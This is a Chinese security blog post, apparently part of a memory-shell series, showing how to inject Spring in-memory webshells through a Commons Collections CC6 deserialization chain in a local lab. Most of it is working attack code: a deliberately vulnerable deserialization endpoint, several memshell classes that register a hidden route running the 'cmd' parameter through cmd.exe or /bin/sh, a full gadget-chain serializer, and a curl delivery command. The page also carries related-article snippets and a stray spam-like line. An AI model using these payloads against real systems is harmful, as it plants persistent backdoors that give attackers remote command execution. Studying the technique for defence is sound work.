<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    spring回顯方式在代碼層面的復現

    一顆小胡椒2022-11-22 10:18:45

    前言

    在前面的一章中,主要在理論上進行了各種內存馬的實現,這里就做為上一篇的補充,自己搭建反序列化的漏洞環境來進行上文中理論上內存馬的注入實踐。

    這是內存馬系列文章的第十四篇。

    環境搭建

    可以使用我用的漏洞環境

    https://github.com/Roboterh/JavaSecCodeEnv/blob/main/src/main/java/com/roboterh/vuln/controller/CommonsCollectionsVuln.java

    或者自己搭建環境,使用:

    • spring-boot 2.5.0
    • commons-collections 3.2.1

    我們使用commons-collections反序列化鏈作為一個反序列化漏洞的點,我們創建一個Controller類:

    package com.roboterh.vuln.controller;
    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.ObjectInputStream;
    @Controller
    public class CommonsCollectionsVuln {
        @ResponseBody
        @RequestMapping("/unser")
        public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
            java.io.InputStream inputStream =  request.getInputStream();
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            response.getWriter().println("successfully!!!");
        }
        @ResponseBody
        @RequestMapping("/demo")
        public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
            response.getWriter().println("This is a Demo!!!");
        }
    }
    

    /unser路由中獲取了請求體輸入流進行了反序列化調用。

    正文

    Way 1

    這個內存馬主要是在spring controller內存馬注入中提到的方式,但是這里有一點不同的是,在直接使用前面的代碼進行內存馬注入的過程中,并不能夠成功注入。

    在debug過程中,發現是因為不能夠找到他的構造方法而報錯,更改后的注入方式。

    1.首先是創建一個繼承了AbstractTranslet類的一個類:

    package pers.cc;
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.springframework.web.context.WebApplicationContext;
    import org.springframework.web.context.request.RequestContextHolder;
    import org.springframework.web.context.request.ServletRequestAttributes;
    import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
    import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
    import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
    import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    import java.io.PrintWriter;
    import java.lang.reflect.Method;
    public class SpringMemshell extends AbstractTranslet {
        // 第一個構造函數
        static {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            // 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            // 2. 通過反射獲得自定義 controller 中test的 Method 對象
            Method method2 = null;
            try {
                method2 = SpringMemshell.class.getMethod("test");
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            }
            // 3. 定義訪問 controller 的 URL 地址
            PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerh");
            // 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            // 5. 在內存中動態注冊 controller
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
            // 創建用于處理請求的對象,加入“aaa”參數是為了觸發第二個構造函數避免無限循環
            SpringMemshell evilController = new SpringMemshell();
            mappingHandlerMapping.registerMapping(info, evilController, method2);
        }
        public void test() throws  IOException{
            // 獲取request和response對象
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            //exec
            try {
                String arg0 = request.getParameter("cmd");
                PrintWriter writer = response.getWriter();
                if (arg0 != null) {
                    String o = "";
                    java.lang.ProcessBuilder p;
                    if(System.getProperty("os.name").toLowerCase().contains("win")){
                        p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                    }else{
                        p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                    }
                    java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                    o = c.hasNext() ? c.next(): o;
                    c.close();
                    writer.write(o);
                    writer.flush();
                    writer.close();
                }else{
                    response.sendError(404);
                }
            }catch (Exception e){}
        }
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }
    

    直接我們使用CC6鏈進行注入:

    package pers.cc;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.FactoryTransformer;
    import org.apache.commons.collections.functors.InstantiateFactory;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import org.aspectj.util.FileUtil;
    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Map;
    public class CC6_plus {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception{
            byte[] bytes = FileUtil.readAsByteArray(new File("SpringMemshell.class"));
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{
                    bytes
            });
            setFieldValue(obj, "_name", "1");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            InstantiateFactory instantiateFactory;
            instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
                    ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});
            FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
            ConstantTransformer constantTransformer = new ConstantTransformer(1);
            Map innerMap = new HashMap();
            LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);
            TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
            Map expMap = new HashMap();
            expMap.put(tme, "valuevalue");
            setFieldValue(outerMap,"factory",factoryTransformer);
            outerMap.remove("keykey");
            serialize(expMap);
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
            out.writeObject(obj);
        }
    }
    

    之后,我們將我們生成的序列化數據存放在了1.ser文件中。

    2.在得到序列化數據之后,運行漏洞環境,通過curl命令來發送序列化數據進行反序列化:

    curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"
    

    最后可以驗證注入效果。

    能夠成功注入,solve it !!

    Way 2

    way 1中是使用的通過

    (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0)
    

    來獲取的一個Child Context環境,進而操控RequestMappingHandlerMapping類對象,調用了其registerMapping進行路由的注冊。

    這里我們換用上篇文章中提到的ContextLoader.getCurrentWebApplicationContext()來測試是否能夠成功注入。

    在我簡單的將前面獲取上下文環境中的代碼進行替換:

    發現并不能夠注入,原因是因為在調用ContextLoader.getCurrentWebApplicationContext方法中,并沒有得到上下文對象。

    那為什么不能夠得到呢?

    在上一篇中的講解中我們從注釋中也知道了ContextLoader類主要是通過ContextLoaderListener來進行初始化的工作的。

    所以,只有配置了ContextLoaderListener這個監聽器之后才可以使用這個類,我們環境中并沒有進行配置,當然不能夠獲取到上下文環境捏!

    但是在springboot中的解決方案官方主要是實現了一個ApplicationContextAware接口的類中設置一個存放上下文環境的屬性。這里我們通過spring項目的web.xml來進行實驗:

    在配置了該監聽器之后,能夠通過這種方式獲取到上下文環境:

    但是在這里又遇到了問題,在獲取RequestMappingHandlerMapping這個bean的時候提示找不到這個bean。

    那又是因為什么捏?

    因為通過這種方式獲取的Context是一個Root Context,對于Context來說,允許Child Context訪問Root Context中的Bean,反之是不允許的。

    所以我們想要使用這種方法獲取該bean,不僅需要使用ContextLoaderListener這個監聽器,還需要使得最低我們需要的RequestMappingHandlerMapping這個bean是存在于Root Context中,即是在applicationContext.xml中進行的配置。

    總結一下,很明顯,在能夠獲取Child Context的情況下,選擇前者的方法更占優也更加普遍。

    Way 3

    這里對于way 1中的實現中的改造主要是在進行Controller的動態創建中,主要是利用了DefaultAnnotationHandlerMapping該映射器的特點,能夠將注解轉換成對應的映射關系。但是在高版本spring中已經不存在這個類了,被其他類給替換掉了。

    給個小例子:

    @Controller
    public class SpringMemshell1 extends AbstractTranslet {
        static {
            // 1.獲取上下文環境
            ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            // 2.通過調用registerSingleton注冊一個bean
            try {
                context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
            } catch (Exception e) {
                e.printStackTrace();
            }
            // 3.獲取DefaultAnnotationHandlerMapping這個實現類
            DefaultAnnotationHandlerMapping defaultAnnotationHandlerMapping = context.getBean(DefaultAnnotationHandlerMapping.class);
            // 4.反射獲取對應的registerHandler
            try {
                Method registerHandler = AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
                // 5.調用該方法進行注冊路由和handler
                registerHandler.setAccessible(true);
                System.out.println("try....");
                registerHandler.invoke(defaultAnnotationHandlerMapping, "/RoboTerh", "test");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
        @RequestMapping("/RoboTerh")
        public void test(HttpServletRequest request, HttpServletResponse response) {
            //exec
            try {
                String arg0 = request.getParameter("cmd");
                System.out.println("RoboTerh....");
                PrintWriter writer = response.getWriter();
                if (arg0 != null) {
                    String o = "";
                    java.lang.ProcessBuilder p;
                    if(System.getProperty("os.name").toLowerCase().contains("win")){
                        p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                    }else{
                        p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                    }
                    java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                    o = c.hasNext() ? c.next(): o;
                    c.close();
                    writer.write(o);
                    writer.flush();
                    writer.close();
                }else{
                    response.sendError(404);
                }
            }catch (Exception e){}
        }
    }
    

    Way 4

    對于該方法相比較于Way 1中的構造也是變化在了Controller創建位置,

    主要的點是在AbstractHandlerMethodMapping#detectHandlerMethods方法中:

    在使用CC6反序列化利用鏈進行內存馬的注入過程中,在static代碼塊中進行了如下邏輯:

    1.首先創建一個帶有Controller注解的Singleton

    PS:后面會有解析其中注解的邏輯

    2.因為AbstractHandlerMethodMapping是一個抽象類,所以我們通過使用他的實現類RequestMappingHandlerMapping來反射獲取對應的detectHandlerMethods方法

    3.最后反射調用這個方法,傳入的參數是我們前面注冊的一個handler

    具體解析注解的邏輯如下:

    1.首先通過調用MethodIntrospector.selectMethods進行解析對應的注解,返回了一個LinkedHashMap類對象:

    存放著方法和路由的映射關系

    2.遍歷這個Map,通過AOP實現獲取可調用的方法對象。之后就是調用registerHandlerMethod方法,進行Controller注冊的步驟了。

    相比于Way 1那種內存馬的實現,其實最后進行路由注冊的API都是同一個,在Way 1中,直接是通過調用registerHandlerMethod方法,傳入的是,自己構造的mapping / handler / method參數動態進行Controller的創建。

    但是在該方法中,主要是通過自己通過構造一個帶有Controller相關注解的類,調用detectHandlerMethods方法的方式自動進行注解的解析,生成了對應的方法和路由的映射

    給出實驗的代碼:

    // 1.獲取上下文環境
    ServletWebServerApplicationContext context = (ServletWebServerApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    // 2.通過調用registerSingleton注冊一個bean
    try {
        context.getBeanFactory().registerSingleton("test", Class.forName("pers.cc.SpringMemshell1").newInstance());
    } catch (Exception e) {
        e.printStackTrace();
    }
    // 3.獲取RequestMappingHandlerMapping這個實現類
    RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    // 4.反射獲取對應的detectHandlerMethods
    try {
        Method registerHandler = AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
        // 5.調用該方法進行注冊路由和handler
        registerHandler.setAccessible(true);
        System.out.println("try....");
        registerHandler.invoke(requestMappingHandlerMapping, "test");
    } catch (Exception e) {
        e.printStackTrace();
    }
    

    能夠成功注入該內存馬。

    同樣在控制臺中也打印除了我內置的一個測試代碼:

    stringcontext
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    S2-007的漏洞原理是在處理類型轉換的錯誤時會存入錯誤到內存中,在后續調用流程中觸發OGNL表達式注入。
    Resin解析漏洞分析
    2021-10-30 06:26:47
    前陣子看有師傅在公眾號上發表了Resin解析漏洞分析,我們也知道有個常用的OA用的就是Resin,因此我認為了解它的漏洞是十分必要的。
    前段時間Confluence發布了CVE-2021-26085補丁,剛好之前分析過Confluence的漏洞,免去了搭建漏洞分析環境的麻煩,因此分析下這個漏洞。 分析過程 漏洞點定位 這個漏洞爆出來已經有一段時間了,所以已經有公開的POC了
    Kernel PWN從入門到提升
    2023-03-23 10:17:57
    所以我決定用此文章結合一道不錯的例題盡可能詳細的來講一下kernel pwn從入門過渡到較高難度的部分,供想要學習kernel pwn的小伙伴們參考。文件系統kernel題一般都會給出一個打包好的文件系統,因此需要掌握常用到的打包/解包命令。
    本文會詳細敘述客戶端風控對抗的“邊界值”在哪里,如果你是在做風控對抗 ,不管你是這場游戲中在演“貓”的角色還是“老鼠”的角色 。本文將站在上帝視角去講解對應的“規則” 和“玩法”,以及如何實現角色轉換。通過之前的系列文章,配合這篇文章希望每個小白玩家都能知道大廠是怎么玩的,如何設置游戲規則,我們應該如何進行解謎。而這個協議里面具體發送的內容,就是IPC協議裝的“包裹”就是用的Parcel 。
    2020年4月,Mozilla安全公告披露并修復了我在Firefox 68.5提交的一個漏洞,漏洞編號為CVE-2020-6828。攻擊者可利用該漏洞覆蓋Firefox私有目錄中的文件,從而控制瀏覽器的任意配置項,如配置代理服務器,關閉同源策略等,造成等同與任意代碼執行的危害。漏洞原理Firefox允許外部APP調用它打開Content URI。
    不像其他全棧框架,bud生成的初始代碼非常少,再添加依賴之后,bud才會生成所有的代碼。用bud run運行項目,開啟一個開發模式的Server:bud run. 其他Bud框架并沒有自己的ORM,用戶可自行選擇orm框架,通過依賴注入在控制器中使用。另外,還有全棧框架包含的特性,如錯誤處理、插件系統、數據驗證及安全、日志、隊列與定時任務、文件與存儲等都可以在官方文檔上找到。
    對于 Android app 本身來說,也是會存在一些組件安全漏洞的,本文就介紹一些常見的Android組件漏洞。
    看雪論壇作者ID:隨風而行aa
    APP開發的背景知識的介紹APP開發遵循邏輯和視圖分離的思想:我們創建一個activity,android studio會自動生成其對應的xml文件。視圖視圖在xml中定義:可以直接可視化移動一個按鈕進視圖,也可以用代碼編寫。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类